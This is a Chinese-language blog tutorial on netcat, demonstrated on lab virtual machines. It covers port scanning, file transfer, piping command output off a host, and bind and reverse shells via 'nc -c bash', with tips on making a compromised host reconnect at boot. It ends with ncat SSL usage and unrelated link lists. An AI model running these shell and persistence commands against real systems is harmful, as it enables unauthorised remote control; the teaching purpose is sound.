当前位置: 首页 > ops >正文

NC网络工具的使用

netcat是网络工具中的瑞士军刀(小身材、大智慧,60kB),它是一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,它能够建立你需要的几乎所有类型的网络连接,github可下载windows版本,但我更喜欢使用kali集成下的版本,下面开始演示nc常用的五大操作+缺陷弥补。

NC功能:端口探测、传输文本信息、传输文件/目录、远程电子取证信息收集、远程控制等常用操作(网上说的加密传输文件、流媒体服务器等用处不大这里不做演示)
NC缺点:数据明文传输、缺乏身份验证的能力(先连者先得)。

配合比较常用的管道符命令使得nc工具更强大:
| 表示管道:上一条命令的输出,作为下一条命令参数(输入)。ps -aux | grep aux。

符号是指:将正常信息重定向。 find / -name “.txt” > /tmp/log.txt,例-在根目录下根据名字来查找.tx输入的日志放置/tmp/log.txt文件中。
&>可以将错误信息或者普通信息都重定向输出。

在kali上输入nc -h即可查看nc所有的命令详解
e0ca00eab755570838d883511ca9a2f6.png

NC常用的参数:
-l 侦听模式,用于入站连接,大部分配合-p参数使用
-p 指定本地的端口号
-n 后面跟IP地址,直接解析IP不解析域名,速度更快
-v 输出连接的详细信息,输入vv可以看到更详细的信息
-z 端口扫描,默认使用tcp模式
-u 指定udp模式扫描探测,一般配合-z参数使用
-c shell命令,通常为 -c bash返回一个bash shell
-q 在标准输入完之后退出,延迟多少秒 例如 -q 1表示被连接完成后1秒钟关闭连接

NC使用演示(虚拟机三台192.168.8.110kali1、192.168.8.130kali2、192.168.8.129win7)

一、端口探测(主要命令-z)

nc -v ip地址 端口(常规探测,输出nc探测信息和目的ip的指定端口)
nc -nvz 192.168.8.129 445(扫描192.168.8.129主机的445端口开放情况,-n指定后面跟IP地址而不是域名)
d8bb4007c8238f2f296991d413c3bb1b.png

nc -nvz 192.168.8.129 1-1000 (扫描192.168.8.129主机的1-1000端口开放情况,需要关闭win7防火墙)
bd322b689d5d024769a6c1fe81e09d8c.png

nc -nvvzu 192.168.8.129 1-500(扫描1到500间的UDP端口,并在终端返回详细的探测信息)
总结:netcat里面的端口扫描功能比较低配,不及nmap强大。

二、传输文本信息(主要命令-lp,需要两台机子都有nc工具)

先有一台服务端开放一个随机的侦听端口 nc -lp 8888,另一台客户端再连接服务端的端口 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(侦听并开放本地的8888端口,等待连接…)
1d8a7f355dcfe5a71ad5f1c65d0153af.png

kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接连接kali1的8888端口,两者交互开始,可以传输文本数据了)
bafc90a4e4a5f53b9f316969cf6463f7.png

可以看到,刚开始侦听端口的一端能显示该端口已经被192.168.8.130连接上了,下面可以发数据了,例如hell,hi,chifan? chi这样聊天
9bca13ff69060120db19f4b37869767e.png

总结:此功能类似23端口的talnet一样,明文传输文本信息,发短信一样的功能。

三、传输文件/目录(只演示单方向传输,可以尝试举一反三)

传输文件:
A端kali1:nc -lp 8888 > nc.jpeg(A作为接收端打开端口,将本地侦听的8888端口的信息输出到文件名nc.jpeg里面,有人连接,传输完成后,一秒钟就断开)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作为发送端,把nc.jpeg文件输入到192.168.8.110的8888端口里面)
传输目录:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888-q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
总结:传输目录与传输文件功能很像,其实就是多了个解压缩的命令

四、远程电子取证信息收集

例子1(收集B端的系统信息,但是不在B端留下命令的痕迹,把系统命令全部通过管道传输到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面执行的ls系统命令在A端里面显示,B端无痕)
ba0757bfe9f76f9a38c548a2aad05464.png

例子2:
A端kali1:nc -lp 8888 > ps.txt (开启本地的8888端口,一旦有人侦听连接把传输的内容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(连接192.168.8.110的8888端口,并且输入本机的ps aux命令通过管道传输到侦听端口,-q 1表示把命令参数一秒后自动关闭连接)
0191acca2fb9d5e2c41b1fe6724d8a72.png

总结:可以发散思维创建多几种正反向的连接,其实这个功能有点类型反弹shell行为了。

五、远控操作(两者服务器都需要有nc工具,nc重要的功能之一)

正向shell(被攻击的服务器端开启8888端口的bash shell,一旦有人连接了8888端口就会给他返回一个shell,客户端回车能直接执行服务器端的系统命令,例如ls、ifconfig等,正向比较容易理解)
kali1(被攻击的服务器):nc -lp 8888 -c bash(被攻击的服务器主动开启8888端口,谁先连上shell就给谁)
kali2(攻击者服务器):nc -nv 192.168.8.110 8888(主动连接目的服务器的8888端口来获取shell,然后获得root权限执行系统命令)
a6b27aac3a01dc99bf565a79edb3cc2c.png

反向shell(被攻击的服务器主动外连攻击者服务器的8888端口并且给他一个bash shell,反向shell的目的是防止被攻击者的IDC服务器里面的防火墙拦截,一般目的服务器只开80和443端口,让服务器开放本地端口出网难度大,但是可以让被攻击的服务器直接连攻击者的服务器端口,写一个shell脚本放在配置文件里面设置开机自启动,肉鸡即可上线)
kali1(攻击者服务器):nc -lp 8888(攻击者的服务器开启并监听本地的8888端口,等待肉鸡上线即可执行系统命令)
kali2(被攻击的服务器):nc -nv 目的地址 333 -c bash(主动对攻击者的服务器进行外联并给他一个bash shell)
f1f519dc3898d489a2f7adef4e446758.png

总结:被攻击者的服务器一般部署在公网上,多读两遍就能理解正向和反向shell的逻辑了。注:windows用户把bash改成cmd。

六、缺点弥补—ncat

NC缺乏加密和身份验证的能力(明文传输容易被侦听,NC打开的一个端口容易被其他人连接无法判断),Ncat包含于nmap工具包中(利用ncat进行管道加密传输)
实验环境使用 kail linux默认没有ncat工具,它是nmap里面的一部分,首先在 linux 虚拟机上安装 NC linux 环境:apt-get install netcat
两个最主要的参数:–ssl 加密传输,–allow 只允许某个主机连接
kali1:ncat -c bash --allow 192.168.8.130-vnl 8888 --ssl(–allow 只允许192.168.8.130这个IP地址来连接我,–ssl 加密流量。做成加密管道)
kali2:ncat -nv 192.168.8.110 8888 --ssl(两者建立的是一条基于加密管道通信的隧道)

http://www.xdnf.cn/news/10998.html

相关文章:

  • 华东政法大学教学管理系统_华东政法大学教学管理信息系统登录入口、成绩查询网上选课查分...
  • 360手机刷机失败变黑砖,救砖教程
  • 常用网络特殊符号大全(含彩色表情符号)
  • android 4.3特殊功能,Android 4.3有什么新功能
  • 一次局域网入侵全过程
  • 2021-06-15——这56个免费资源网站,能让你永久告别资源付费!
  • Mac OS X – BootCamp安装Win7小记
  • URL编码解析
  • 关于小凡模拟器设置完后找不到所要配置文件的问题
  • 计算机基础知识
  • python多线程爬取某网站全部h漫画_Python多线程爬虫爬取网页图片
  • dhtmlxgantt异步读取数据库数据
  • 当Windows安全中心服务无法启动时怎么办?这里提供几个解决方案
  • 超炫Android2.1 谷歌Nexus One界面赏析
  • 前端如何做单元测试? 看这篇就入门了
  • 【云计算学习教程】探讨私有云计算平台的搭建(附带3套解决方案)_私有云云平台解决方案学习路径
  • c:out标签中的escapeXML属性
  • 从那里进入EI检索号查询入口?
  • alfafile中转站免费_中转站全集免费在线观看-手机看中转站HD完整版 - 穷TV_院线大片影视大全...
  • 从报名到领证:软考初级【网络管理员】报名考试全攻略
  • 软件项目管理:使用PERT评价不确定性的方法
  • FinePlus v1.2
  • FPGA 时钟设计 1 —— 时钟资源总结
  • 零基础如何自学编程?用这6种方法就够了!
  • ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法
  • 牛人搜集的常用的资源类网站及68个各类资源网站汇总
  • Linux 指令学习之crontab
  • 如何利用新浪博客做外链
  • HTML用方法alarm实现clock,C#实现闹钟AlarmClock实例代码
  • 转载国内私募界知名的操盘手刘文文的访问,收益匪浅